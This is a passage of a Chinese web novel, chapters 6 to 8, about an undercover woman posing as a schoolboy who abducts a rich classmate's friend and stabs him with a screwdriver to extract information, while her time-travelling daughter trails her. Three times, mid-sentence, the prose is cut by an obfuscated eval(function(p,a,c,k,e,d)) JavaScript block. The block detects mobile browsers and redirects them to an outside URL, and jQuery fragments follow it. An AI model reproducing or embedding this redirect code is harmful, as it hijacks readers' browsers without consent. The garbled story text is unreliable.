见祝安宁脸色惨白,她嗤笑一声,摸出手机准备打电话叫徐庆云准备一份保密协议。 这时,两人身后响起一道阴冷的声音:“你们俩进去十几分钟了,需要我找人搬张床来吗?” 祝飞雁动作一顿,眯起鹰一般凌厉的眼。 她微微侧头,余光里,只见绿树白花外,单手插兜的修长身影若隐若现。 ——是顾逢秋。 6. Chapter 06 顾逢秋怎么会在这? 他来多久了,又听见了多少? 祝飞雁瞳孔骤然紧缩,静立数秒后果断伸手揽住祝安宁的肩膀,低头快速说:“帮我个忙,出去后别说话,哭就完事了。” 紧接着她立刻迈步出去。 “哦哦。”祝安宁懵懵点头,脸颊还挂着泪。 距上课还有十分钟,林荫小道上行人渐少。一出去,只见顾逢秋单手插兜,半坐在对面长椅的扶手上,修长的长腿交叠,面容英俊,气质非凡。 见两人终于出来,他头微微一侧,脸上挂着戏谑的笑:“哟,爸爸总算带女儿出来了。” 他站起来,直勾勾盯着祝飞雁:“祝宴是吧,怀慈知道你玩这么花吗?” 阳光倾泻下来,映得顾逢秋那一头粗短的红发有些发橙,像他整个人一样充满了鲜明的攻击性。 祝飞雁无声松口气,当即确定顾逢秋根本没听到什么,纯粹是鱼上钩,好奇跟过来盯梢。 她稳如老狗,搭在祝安宁肩上的指尖轻敲,随即冲他微微一笑:“我可没有在学校这种神圣的地方胡来,安慰安慰不甘心被我甩的小姑娘罢了。但这和你有关吗?你哪位?” “……”祝安宁瞥一眼祝飞雁含笑的侧脸,瞬间秒懂,故意吸吸鼻子,掩面低泣,活脱脱一副失恋少女模样。 顾逢秋审视的眼神在两人身上来回扫了几遍,然后缓步上前,走到祝飞雁面前。 两人身高差不多,但面对面时他还需要抬高视线才能与祝飞雁对视,他用一种堪称平静的语气说:“你认识怀慈。” 两人四目相对,如此近的距离,祝飞雁甚至能在他眼睛里看到自己的影子。 “当然认识,”祝飞雁挑眉一笑,“你也认识吗?” 这一瞬间周遭空气仿佛凝固了。 气氛剑拔弩张。 从表情来看,顾逢秋似乎是在强行压抑怒火,只见他先是看了一眼垂着头的祝安宁,才冷声道:“我听说你前两天才转到恩德,按照道理,你一个高二的应该没机会见到高三的人,你俩怎么会认识?” 祝飞雁没回答,吊儿郎当地笑:“我为什么要告诉你?” 沉默半晌,顾逢秋突兀地笑了起来,那一双深棕色的双眼微弯,笑意却不达眼底。 咖啡馆叫爹事件在短短几分钟内就冲上了论坛的热搜,所有八卦的同学都在讨论转学生祝宴为什么会被叫爹,有人说这是情趣,引发好一阵讨论。但顾逢秋感兴趣的是,事情发生前一闪而过的怀慈两字。 如果不是因为这个,他压根不会注意到一个转学生,即使他刚进学校就掀起轩然大波,不少人都在拿他和他们四人比较。 “祝宴,我记住你了。”顾逢秋抬头平静地看着祝飞雁:“你最好管好你自己的手,不该碰的人千万别碰。你也就只配……” 他嫌弃地扫了一眼祝安宁说:“这种低等货色。” 说完,顾逢秋转身离开,一边从兜里掏出手机打电话,背影傲得不行。 祝飞雁笑意顿收,还没说话,祝安宁就忍不住了,顶着两行眼泪当场开骂:“瓦这垃圾什么意思?什么叫这种货色?不管穿越前后我都是青春美少女好吗!啊啊啊可恶我要打死他!” 祝安宁撸起袖子,甚至要冲上去要个说法。 “……”祝飞雁眼疾手快一把揪住她后脖颈,轻轻松松提溜到眼前,直接开嘲:“我劝你冷静点,你要是追上去,结果只有一个,那就是被揍死。” 祝安宁狠狠打了一个激灵,呆呆回头:“不会吧,他还打女人?” 祝飞雁无声翻白眼,心想打女人算什么?这小子更离谱的事都干。 根据现有信息显示,得益于深厚背景,顾逢秋性格倨傲狂妄,是一个目中无人且不知轻重的家伙。从幼稚园到高中,霸凌事件频频发生,对象无论男女,只要惹他不爽就会过得很惨。 当然最后所有事情都用金钱抹平了,这也就让他意识到到原来只要有钱就可以为所欲为,这是他们独有的优越权。 之所以挑选他为突破口,正是因为他不容挑衅且极其狂妄。像顾逢秋这种人,坚决不会允许自己追求多年的女神与别的男生相交甚密。 但祝飞雁没有正面回答祝安宁,而是松开她,示意她把手机拿出来。 祝安宁乖乖拿出来,并问:“怎么了?” 祝飞雁没吭声,动作迅速地输入自己的号码拨过去,然后一甩手机,丢回她怀里:“放学后我会带你去签保密协议,确保我的身份不会暴露。” “一定要签吗?”祝安宁欲言又止,万一有人问她怎么知道的,她又解释不清,恐怕会直接被抓起来吧。 祝飞雁摸出自己的手机开始备注,打完薛沐两字后她又在括号里写上了祝安宁三个字,并敲下了一个灵魂问号。 同时,她斜睨向祝安宁,有条不紊地说:“不签也行,那干脆找个地方把你关起来,事情结束再放你走。安全又不操心,简直完美!” “!!”祝安宁如丧考妣,小心翼翼揪着她衣服下摆:“妈,你忍心让我去面对一帮不认识的人吗,傻子才会相信我是穿越者,今天你送我过去,明天我就得出现在实验室里。不如你保密,我也保密,有需要你随时call我怎么样?” 祝飞雁气笑了:“你也知道这事没人信?还有别叫我妈,我生不出你这么大的女儿。” “可你真的是我妈!我知道你大腿内侧有块胎记,还知道你背上有个纹身!” 幼年时一次大雨,祝飞雁冒雨来接祝安宁放学,两人到家已经淋得像落汤鸡,她是在祝飞雁换衣服时看见的,一只老鹰纹身张开羽翼,几乎布满整个肩胛骨,底下有行花体外语字——Fortune favors the bold。 后来她按照记忆写下来去查,发现这句话可以翻译成勇者天佑,莫莉当时还差点怀疑她老妈是混社会的人。 祝安宁努力回想祝飞雁的一切,讨好地笑着:“妈,你相信我绝对不会做对不起你的事,你看我刚才演技是不是贼棒,我只是想确保你的安全!” 闻言,祝飞雁顿时一惊,却完全没有外露任何情绪,眼底一片深邃。 肩胛骨的纹身是前段时间刚纹的,没人知道这对祝飞雁来说有什么意义,只有她自己清楚,因为卧底她放弃了继续当兵,丢弃多年拼搏得来的冷鹰代号,从接下任务的第一刻开始她就不再是血豹成员,只是一个给特案组提供信息的线人,她赌上一切来寻找真相,这是对无法再进入热爱职业的一种遗憾与缅怀。 但她从来不后悔,因为命运会眷顾勇敢的人,无论结局如何,只要无愧于心一切就值得。 可这丫头怎么会知道?难道真是自己女儿?一连串疑惑堵在祝飞雁心头,她注视着正眨巴眼睛的祝安宁,眉端深深拧起。 想太多了,绝不可能! 首先她看见男人就烦,绝不可能生娃,其次这货绝对有不可告人的秘密。 琢磨片刻,祝飞雁收回刚才的话,总算松口:“可以不和别人签,但你必须得和个人签,如果有人知道我身份,不管什么原因,我都只会找你。” 祝安宁一听顿时喜极而泣,果断点头同意:“可以可以!那我们就是一个阵营的喽?有事你叫我,我一定鞍前马后,唯你马首是瞻!” 她简直一副甘愿当狗腿子的模样,可眼珠子却滴溜溜在疯狂乱转,一看就知道心里在打坏主意。 祝飞雁觉得好笑,压根懒得戳穿。 一个小丫头而已,反正只要把她看牢了应该不会出什么大问题。 “行了,我要去上课,晚上见。”祝飞雁最后警告她一句,随即转身往教学区走。 祝安宁挥着手:“晚上再见!” 等人一转身,她脸上立刻浮现一种堪称鸡贼的笑容。 虽然年轻版本的老妈有点出乎她意料,但拿捏她这不是轻轻松松嘛,只要两人保持联系,打扰她卧底的计划势在必行! . 傍晚,暮色四合。 霓虹点亮繁华的城市,天边斜阳如同染布将苍穹染红。 校外甜品店内,祝飞雁与祝安宁面对面坐在角落,她盯着手里的手机,单手将中午打印的协议推到祝安宁面前,随即屈指反叩两下桌面,头也不抬地说:“签吧。” 店内人声嘈杂,无数目光聚过来。 不远处,桑芙脸上蒙着块丝巾,正非常刻意地用杂志挡住脸,但她冒着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15463618|169758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 精光的眼睛实在是太亮了,八卦之火熊熊燃烧。 祝安宁如坐针毡,头皮发麻。 自打上午干出叫人爹这种蠢事后,祝安宁一战成名,回班级那阵仗就和熹妃回宫没两样了,没人不冲她比大拇指。 当然桑芙是最激动的那一个,甚至当场跪服:“姐妹你好勇,你怎么想到用这种别致的方式吸引祝宴的?简直出其不意,令人赞叹!” 祝安宁当时嘴上说是脑子一热,实际上却在想的确挺别致,别致到她老妈差点直接掐死她。 但这件事背后的原因肯定要保密,祝安宁只能直言自己的确对祝宴一见钟情,没多说其它,可没想到桑芙居然跟过来了! 原主这同桌真是别太八卦……祝安宁讪讪收回目光,对祝飞雁嘿嘿一笑:“哈、哈,总有种和霸总签订交往合约的感觉。” “……”祝飞雁皱着眉抬头,冷冰冰打破她不切实际的幻想:“首先,言情小说里签的那种合约都不正规。其次,正儿八经的霸总手段多的是。不会用这种拐弯抹角的方式得到一个人。我劝你少看点小说。” 祝安宁一噎,拿过协议翻开,忍不住咕哝:“……我只是想缓和下气氛。不然我俩坐着不说话怪尴尬的,别人看了还以为什么呢。” 祝飞雁不耐烦地皱眉,没有一个字废话:“给你一分钟看,十秒钟签。” 她没再说话,继续点开顾逢秋的社交软件翻阅。 上午十点,顾逢秋发了一张打过马赛克的聊天截图,配文:【要有多用心,你才能看见我。】 截图上是他询问一个人明晚有没有空去参加著名画家丹尼斯的画展,对面的人则过了很久才回复一个冷漠的没字。 下面一溜“顾哥加油”这样的鼓励话语,其中他发表了一条回复:【祝宴算什么东西,她能看上他?】 祝飞雁觉得截图里的头像眼熟,回V信一看,果然是怀慈。 她盯着那句酸话,后背一片鸡皮疙瘩。 如果忽略他前几天刚发过几张揽辣妹参加演唱会的照片的话,那她本人都要高低赞他一句痴情。 祝飞雁感慨地啧了一声,顾逢秋简直就是一个看锅里吃碗里的典男,她立刻打开搜索引擎搜索丹尼斯,简单了解后直接下单买了两张画展的票。 明晚就约怀慈去看画展,气死顾逢秋! 想到这里,祝飞雁退回V信立马给怀慈发信息。 这时,手机进来一条讯息:【这是薛沐的完整资料,查了一天,事无巨细。回头记得请我吃饭。】 发信息的人是祝飞雁警局的人脉,莫名多个女儿这件事古怪且疑点甚多,她觉得直接上报给徐庆云也许会出事,所以只能找人查一下祝安宁。 文件足有十几页,几乎将薛沐这些年生过什么病都写明白了。 她抬头扫了一眼正认真钻研协议的祝安宁,旋即立即点开pdf文件。 粗略翻阅完毕,祝飞雁十分确定自己绝对没和这个声称自己叫祝安宁的薛沐产生过任何交集,薛沐就是一个中产上游家庭的普通小孩,父母常年不归家,导致性格安静内敛,宅家不爱出门。 她还特地让对方查了纹身当天薛沐的踪迹,根据信息显示,当天薛沐和朋友桑芙一直在玩剧本杀,直到半夜才回家。 所以这就产生了一个问题:她到底是怎么知道自己有纹身的?还知道那么清楚? 总不能真是穿越……祝飞雁情不自禁打了个寒战,天杀的,压根不敢想象会有这么荒谬的事。 “我签好了。”祝安宁的声音突然响起。 祝飞雁锁好屏,没有表露出一丝情绪,拿过协议往包里一塞,起身就走:“我还有事先走了,没事别来找我。” 就这样?祝安宁好奇地问:“等等,不给我留一份吗?” “放你那不安全。”祝飞雁丢下一句话,然后头也不回地离开,颇有种拔X无情的意味。 祝安宁不敢置信:“……” 她盯着祝飞雁穿梭在人群中的修长背影,只见她拎着滑板推门出去,抬起右手看了一眼时间,似乎要赶着去做什么事。 下一秒,祝安宁猛地站起来。 不会又要去见F4吧?不行,得跟去看看! 7. Chapter 07 晚上十点。 X.夜店。 动感DJ响彻云霄,荧光色的镭射灯扫来扫去,一排裸着上身的肌肉男高举喷钱机,随着□□洋洋洒洒落下,舞池中的男女发出热烈欢呼。 舞池中央,几个衣着暴露的女人站在能容纳十来个人的人的长卡座上,捧起□□往天上丢,尖叫声几乎盖过劲爆的音乐: “莫子健你输了!快喝!” “喝!喝!喝!” …… 砰!莫子健仰头一口气喝掉一杯酒,随即将手里空了的人头马路易十三倒转,冲众人转了一圈,众人立刻鼓掌尖叫。 然后他猛地坐回卡座,顺手搂住身边穿吊带上衣的辣妹,辣妹靠到他耳边说了什么,他侧头瞥了对方一眼,紧接着翘起二郎腿戏谑地说:“是啊,你家小顾总的确在追怀慈,但他俩不可能,那小子就是个烂黄瓜,好姑娘怎么可能看得上他?” “莫哥你真勇啊……”一个醉醺醺的男生连滚带爬扑倒莫子健身边,咧开嘴嘿嘿一笑:“这酒吧是顾逢秋家的,私下这么蛐蛐,就不怕被听到?” 莫子健和顾逢秋四人从中学开始就是同班同学,算很早就认识的酒肉朋友。 这要是换做别的情况他指定不敢指指点点,奈何酒壮怂人胆,此刻酒意上脑,顿时切一声,揽着辣妹往后一靠:“怕他个锤子,那小子虽然傲,要是顾家不给他兜底他什么都不是!” 有人大胆嘲笑:“那你还整天跟在人屁股后面?是谁一口一个顾哥来着?” 莫子健踹了桌子一脚,不爽的眼神横过去:“不会说话别说话,那不叫跟,叫人情世故懂?我爸说了地位不对等的情况下就该适当伏低做小,再说老子手里又不是没他把柄,之前他把那个……” 众人纷纷好奇探头:“怎么了?” 连辣妹都竖起了耳朵。 但说到一半,莫子健突然意识到自己说错话了,驮红的脸刹那一白,迷离眼神倏然清醒过来,于是含糊地摆摆手:“反正我和他不是一般的关系。” “嘁!”没听到什么八卦,众人兴致缺缺散去,各自议论起来。 “顾逢秋现在的女朋友是谁?” “还是那个小服务员呗,上回带来聚会那个,不过肯定玩玩而已,恩德就那么大,要真谈了怀慈肯定得知道。” “我笑死,他们怎么都爱搞服务员?” “谁也搞?” “方之熙呗,前几天在滑雪场看上的。” 莫子健听得烦,推开辣妹,等酒劲稍微缓过去才起身:“我去趟厕所。” 见状,那辣妹立刻扭着腰肢跟上。 两人一前一后穿过人群,路过长长的L型吧台时,辣妹上前扶住摇摇晃晃的莫子健,镶嵌亮钻的指尖摸进他后腰,轻笑着问:“小莫总今天带我出去吗?” 莫子健顺势搂住她腰,意味深长地摸摸她脸颊:“看你表现喽。” 暧昧的低语隐没在音潮之中。 吧台正对卡座方向,角落里,祝飞雁搅弄着酒杯里的冰块,黄色酒水打起了旋。 黑色大理石的桌面倒映出墙上的鲜红X,也映出了她英气清俊的面庞,顺滑的假发一丝不苟扎在脑后,橄榄绿色的棒球帽下那双眼锐利而沉静。 直至莫子健两人身影拐入转角消失,她才仰头喝尽酒水,丢下一张百元大钞压在杯底,然后拎起放在旁边的牛仔外套,悄无声息跟了上去。 …… 莫子健一股□□被辣妹挑了起来,拉着对方直冲酒吧后门,门口的保镖见惯不惯,甚至贴心地亲自拉开门。 X酒吧位于滨海赫赫有名的酒吧一条街,后面出去就是一条昏暗小巷,嗡嗡嗡的劲爆音乐被彻底阻隔,暗紫色的Led灯暧昧昏沉,照亮了各个角落拥抱接吻的男女。 一路看过去,莫子健心中那股火更加汹涌,他挑了个没人的死角,急切地把人推到墙上,猴急万分亲吻上去,语气含糊地问:“姐姐今晚怎么这么主动?平日里叫你出去都推三阻四的。” 辣妹喘着粗气,娇嗔地勾住他脖子:“前段时间认识一个人,他想签我去拍网剧,结果现在卡在流程上下不来。不过我听说他是小顾总家公司的经理,小莫总帮个忙呗?” “……”简直一盆冷水兜头淋下,莫子健抬起头,眼中一片清明。 足足紧盯对方一分钟,他突然捏住辣妹下巴,左右端详:“捞捞钱也就算了,就凭你一个公交车也想去拍网剧当明星,吃多了吧你?” 辣妹哪受过这样的侮辱,顿时脸色一变,猛地把人往外一推:“不帮就不帮,你怎么骂人呢?” “骂的就是你。”莫子健表情嘲讽,退后一步擦干净湿润的唇瓣,上下打量一眼后道:“我说你怎么突然会问顾逢秋,原来是在打这主意,不过…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15463619|169758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 他话音陡然一转,微微俯身凑近直视女人已经开始发红的双眼,恶劣地说:“要我帮忙也可以,明天脱光去恩德跑一圈,保证顾逢秋一高兴就给你签个大女主。考虑到你要去拍戏,让你带面罩怎么样?” 辣妹气得浑身都在发抖,几乎是下意识伸手想狠狠甩他一个耳光:“你做梦!” 但莫子健眼疾手快捉住了她的手腕,直接一扯,整个人就栽到了他胸膛上。 晦暗的灯光下,他攥紧她手腕反扭,眼中露出了阴狠的凶光:“你敢打我?” 辣妹疼得倒吸一口凉气,哆哆嗦嗦往后退。 千钧一发之际,只见一道比莫子健更高的身影出现在两人身后,黑口罩、牛仔衣,棒球帽檐下的眼形状漂亮而上挑。 是个个子很高的女人。 “谁!”辣妹一惊。 莫子健皱着眉转头,然而下一秒,难以招架的巨力袭来,他的后脖颈被一只戴着半指手套的手猛地攥住,像提小鸡仔一样活生生往墙上撞。 砰!砰!砰! 接连三声闷响沉重而响亮,墙壁上血迹斑驳,一颗白花花的牙被崩飞,擦着辣妹脸颊飞过,她顿时发出了惊恐的尖叫。 来人正是祝飞雁。 她挥挥手示意女人赶紧走,那辣妹毫不迟疑转头就跑,简直落荒而逃。 而满头是血的莫子健压根没有任何反抗的余地,双腿发软往地上滑下去,但他再一次被拎起来了,脑袋用力往后扯。被迫高抬仰起,强行以屈辱的姿势面向对方。 他惊恐的眼底,倒映着一个身形高大的女人,逆着光,暗光虚虚描摹着脸部锋利的线条,却根本看不清面孔。 四目相对良久,一派死寂中,祝飞雁终于出声:“认识瞿柔吧。” 莫子健身形狠狠一颤,眼珠倏然睁大。 还没来得及回答,只见她眼珠缓缓垂下来,声音平缓有力:“今晚还很长,好好聊聊?” 这句话饱含森寒险峻的意味,简直令人毛骨悚然,莫子健失去了刚才的嚣张,本能地向后缩去。 与此同时,巷角。 祝安宁头戴丝巾缩在没有光的死角处,从头到脚包裹得严严实实,只露出一双震颤的眼,活脱脱一个敬业狗仔。 她捂紧嘴,一口口水差点直接喷出来。 哇靠这真是她亲爱的妈?下手未免也太狠了吧! 8. Chapter 08 祝安宁惊恐地捂住嘴,表情震惊。 只见祝飞雁先是一拳砸向那男人的后脑,然后将人扛到了肩上,那简直像抗一具人体模型一样轻松,甚至还能腾出左手打电话。 这条巷子是整条酒吧街共用的地方,无光无灯,幽暗暧昧,角落拥吻的熟男熟女被夜色掩盖,夜店内传出的咚咚声吞噬了水渍声、低语声。 对面便利商超门口坐着一帮年轻人,正踩着凳子玩牌,大呼小叫要对方给钱。 无人在意辣妹那一声尖叫,所有人都沉浸在自己的世界里不可自拔。 祝飞雁就这样堂而皇之扛着一个人,宛如踏破夜色而来的冷冽杀手,商超射进巷口的光折射到她身上,深蓝牛仔衣敞着,黑口罩棒球帽,修长双腿沉稳地迈出,丝毫没有当众行凶的负罪感。 眼看就要走到附近,祝安宁立刻裹紧脸上的丝巾,背过身缩进角落。片刻,她连忙探头往外看,只见祝飞雁已经走到路边,先是粗暴将人甩向一辆黑色机车,随即拿起头盔,长腿一跨上了车。 祝安宁脸色顿变,差点说脏话。 ……又要走?!老妈到底在做什么! 自放学后她跟了祝飞雁一路,在完全没有任何辅助条件的情况下,花掉整整一周生活费打出租才跟到这里,结果光看她呆在吧台喝酒,然后突然跑出来揍人了。 可祝飞雁的身份能随便打人吗?难道不会出事吗?祝安宁忧心忡忡地叹口气,看来得想办法跟上去看看。 与此同时,砰一声巨响! X.夜店的后门被猛地推开。 祝安宁脚步一顿,下意识回头,只见一帮黑衣保镖冲出来,神色慌忙的辣妹四处张望一圈,紧接着立刻指向路边:“小莫总在那里!” “抓住她!”“快快快”…… 伴随凶恶的叫喊声,保镖们抽出腰间的电棍拔腿狂奔,场面一时间陷入了混乱。 阵仗很大,陆续有人闻声从暗角走出来,不顾凌乱的衣衫,纷纷探头张望。 “怎么了?” “出什么事了?” 也就是这一刻,机车轰鸣声响彻云霄,众目睽睽下,已经坐上机车的祝飞雁动作干脆地划下挡风镜,随即猛握把手,两人一车如离弦之箭般疾驰出去。 “操!”保镖们气喘吁吁停下。 只能眼睁睁看着机车没入人流消失不见。 “那个……”辣妹小心翼翼上前问保镖:“王哥,小莫总不会出事吧?” 为首的保镖斜睨她一眼,没回答,直接掏出手机拨通一个号码:“小顾总,莫子健被人带走了……已经派人查监控了,好,我们会尽力找到他。” 挂断电话,保镖冷着脸挥挥手:“把人带走。” 下一秒,两个身高体壮的壮汉架起辣妹,直接往夜店里拖,辣妹目露惶恐,发出了惊恐的尖叫。 窝在角落没敢出来的祝安宁:“……” 小顾总?顾逢秋吗? 她心情有些凝重,这件事似乎没这么简单。等人全部离开,她才走出来,望着依旧热闹的街道,顿时迷茫不已。 所以接下来,该去哪里找老妈? 祝安宁颇为心碎地想,别人穿越要么金手指要么自带系统,轮到她时什么都没有,老妈还是个神出鬼没的狠人! ……真令人心酸。 她吸吸鼻子,果断拿出手机发信息。 . 与此同时,机车冲入黑夜疾行,从繁华的市中心一路驶向偏远郊外,轰鸣声在高速公路上盘旋不停。 风噼里啪啦敲打头盔,四周风景迅速倒退,祝飞雁冷峻的视线穿过护目镜,直直落向公路尽头那座山。 轰、轰——! 几分钟后,车子在山脚处停下。 已经醒来的莫子健趴在车上剧烈呕吐,即使嘴里一股腥味,缺了半颗门牙还不忘叫嚣:“你是谁?今天你要是不放我走,老子明天就叫人弄死你!” 祝飞雁一言不发下车,连头盔都没摘,捉起他脖子往下拽,直接提溜起来径直往山上走。 夜晚的荒山被黑暗笼罩,树丛中未知野兽的双眼散发着精光,连风的呼啸声都像是恶鬼哀鸣。 “你到底是谁!”莫子健吓得不行,疯狂挣扎,奈何脖子上的手简直如钢筋铁骨,难以想象这会是一个女人该有的力量,到最后也只能徒劳咒骂:“他妈的你放开我!你想要钱是吗?我给你,都给你!” 祝飞雁始终没吭声,活脱脱一副冷血杀人狂的模样。 像莫子健这种出身优越的人,平日里出行都有保镖跟着,法治社会也没什么狂徒,受过最大的惊吓撑死就是被前女友甩几个巴掌,这还真头一回碰上过这么离谱的事。 眼看就要被拖进前方的一间木屋,屋门口挂着的动物头骨在黑夜中闪烁着白光,这一瞬间经典电影《致命弯道》七部曲骤然在他脑海中浮现,酒意彻底醒了。 “等、等!”莫子健变脸飞快,连忙求饶:“你刚才是不是问了瞿柔?我的确认识她!只要你放了我,想知道什么我都会告诉你!” 闻言,祝飞雁停下脚步,隔着头盔低头看向他:“我要知道她死之前到底发生了什么。” 莫子健发现她的用词是“死”,血迹斑驳的脸色煞白:“换一个!这个我真不知道。” 祝飞雁读大学时对犯罪心理很感兴趣,天天都要去刑侦专业蹭课,观察微表情只是最入门的基础,几乎一眼就看穿了莫子健在撒谎,但她没说话,干脆把人拎起来带进木屋。 这座木屋显然很久没人来过,一推门灰尘窸窸窣窣往下掉,蛛网密布每个角落,透着荒诞的死亡破旧气息。 屋内茶几前的地毯拉开,地下室入口黑如深渊,一眼望不到头。 莫子健意识到祝飞雁这是要把他带下去,又开始惊慌失措地大喊大叫,但这根本就是白费力气,荒郊野岭,雷声劈下来都得打个回响。 地下室空无一物,只有几根承重柱和两张椅子,还有一张桌子上置放着扳手、螺丝刀等工具。 莫子健心跳如擂鼓,直到被一把摁向凳子,才冷静下来望着祝飞雁:“我家人很快就能找到我,你逃不掉的。” “是吗?”祝飞雁从桌上抽出一根尼龙扎带,绕到凳子后,半蹲下去,麻利地将他四肢反绑住。 紧接着,她起身拍拍莫子健的肩膀:“放心,一路过来监控都被抹除了,你饿死在这里都不会有人知道。” 这是一场有预谋的“犯罪”。 这是一场注定要闹得满城风雨的卧底计划。 因为线索太少,瞿柔有关的无人岛案只有恩德F4这一个线索,其余全部被人为销毁;因为历年来F4相关的可疑案件至今没破,所有真相都被一层层的关系户包裹在最中心,曾奋斗在前线的人化作白骨一具具,始终坚持正义的人苦于无权无势退居幕后,良心难安。 所以祝飞雁放弃所有,要查的不仅仅是查无人岛案。 从抓走莫子健的那一刻开始,她的所有行动只有一个目标,不惜一切代价让滨海市迎来黎明。 祝飞雁视线落在前方的工具桌,耳边不由自主响起徐庆云冷静而沉稳的声音:“滨海市肯定有问题,但多年来上面只查到并缩小范围至F4四家,无人岛案是一个非常好的撬动口,撬开这条犯罪链就能将网完整铺开。” “他们的势力圈涉及太多人,之前安排过几次专案组下来,最后只抓到几条被推出来的小鱼,不仅浪费时间还打草惊蛇,所以这一次,特案组决定要跟他们比比谁更阴。” “我们需要一个够狠也有分寸的人来做这个撬开犯罪链的人。底线之上,规则之内,只要不死人,只要能找出线索随你怎么做。当然代价也许会很大,但你要知道,坚持正义本身就要付出代价……” 当徐庆云那样说,祝飞雁就明白了他们究竟想做什么——他们是要一个不属于任何势力的狂徒来做幌子,她负责扮演这个狂徒,找出线索上交,然后再由他们进行最后且正规的调查。 声音恍惚消失不见,祝飞雁收回目光,走到桌前,先是摘下头盔放好,随即拎起空凳子往莫子健对面一坐,顺手还抄了一把崭新的螺丝刀。 她坐姿大刀阔斧,螺丝刀抵在膝盖上转动。 “问题我不会问第二遍,给你一分钟自己说。”黑帽檐下,那一双眼平静地盯着莫子健。 “怎么?想行凶啊?”莫子健害怕到极点反而不怕了,不乏恶意地笑起来:“老子就不说,有本事你就一直跟我耗!” 祝飞雁沉默不语,冷冰冰地注视他。 时间一分一秒过去,莫子健挑起眉端,嚣张地继续挑衅:“别以为我不知道,只要我不说我就还能好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15463620|169758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好的。再说了监控怎么可能全部抹除,你知不知道我爸妈是谁?要想恢复一个监控简简单单,你死定……” 话音未落,一股滚烫的鲜血迸溅到脸上。 他瞳孔猛地瞪大,难以置信地低头看向膝盖,上面赫然插着一把螺丝刀! 刀柄处,是一双戴着半截手套的手。 莫子健发出一声惨叫,顿时惊恐抬头,只见祝飞雁不知何时已经倾身靠近,一抬头就精准地对上了那双冷若冰霜的黑瞳。 祝飞雁紧握螺丝刀柄,一点点反扭,同时一刻不停盯着莫子健,没有一个字废话:“考虑清楚了再和我说话。” 啪一声!紧接着螺丝刀被随意甩到地上。 她慢条斯理在莫子健裤子上擦手,声音清晰有力:“我提醒你,我没什么耐心,今天只扎你一刀,不说我就不会再问。” 莫子健呼吸急促,冷汗直流。 然而还没等他说话,只见祝飞雁突然猛地扣紧椅子扶手,拉近两人距离,近到彼此几户都能在眼底看见对方的影子,“但从今天开始,我会每天过来给你一刀,等你想说了再停止。希望你出去时,身上别都是窟窿。” “你简直就是疯子!”莫子健脸色跟刷了白漆一样,眼底倒映着祝飞雁冷漠的双眼,慌不择路大码:“平白无故绑我做什么,又不是我对瞿柔做了什么!” 没听到想要的话,祝飞雁压根懒得搭理他,摸出一直在震动的手机,一打开,只见祝安宁的信息接连蹦出来。 【奇怪的人】:妈!你在哪! 【奇怪的人】:回信息回信息!! 【奇怪的人】:妈!土拨鼠尖叫.GIF “……”祝飞雁感觉脑壳有点疼,她看了眼时间发现已经十一点多了,于是快速敲了几个字回去,然后打开朋友圈浏览,完全没有与莫子健交流的意思。 膝盖上的扎伤深刻见骨,莫子健神色痛苦地扭着臀,却因为四肢被束缚住无法动弹,被狠狠撞了好几下的头也还在隐隐作痛。 半晌,他实在忍不住咆哮:“我不能说!我说了就完了!你不要命我还要呢!” 祝飞雁恍若未闻,神情专注地查看怀慈的朋友圈,她刚转发了一条关于丹尼斯办展的新闻链接,她立即点赞并评论:【这么巧,我也挺喜欢他,刚买了票准备去看。】 发完,她退回搜索引擎重新搜索丹尼斯,开始了解他的生平,为接近怀慈做准备。 不知过去多久,始终被当成空气的莫子健莫名感觉自己像一个小丑,强烈的痛意逐渐麻木,他脸色发白,挫败地垂下头,反复重复一句话:“我真的不能说,大侠、美女,大姐!求求你放过我……” 闻言,祝飞雁终于抬眼。 视线中,莫子健一副丧气模样,面容血色褪去只剩惨白,却硬气得不行。 嘴巴还挺硬—— 她微微蹙眉,这对一个十八岁的男生来说非常不正常,显而易见他不仅知道,还知道得不少。 沉默许久,她拉开椅子起身,从桌上拿起止血药粉往他伤口上一倒,扔掉空瓶,毫不迟疑转身上楼。 “你好自为之,我明天再来。” 莫子健:“别走!放我走!!” 同一时刻,祝飞雁的手机再度响起,她脚步一顿,站在楼梯上打开手机。 又是祝安宁发来的信息。 这一次是条语音。 她琢磨两秒,还是点开了,结果耳朵差点被蹦出来的怒吼给震聋:“你骗人!你根本没有在家,我都在X见到你了!还叫我早点睡觉,你又不承认你是我妈,你管我做什么!” 伴随吼声,背景杂乱动感的DJ声震耳欲聋。 隐隐约约的,还有男生询问是否要喝酒的笑声。 “……”祝飞雁反应迅速地将手机拿远,然后掏了掏发疼的耳朵,眉头拧成了麻花。 她这是在发脾气? 这丫头凭什么跟她发脾气?! 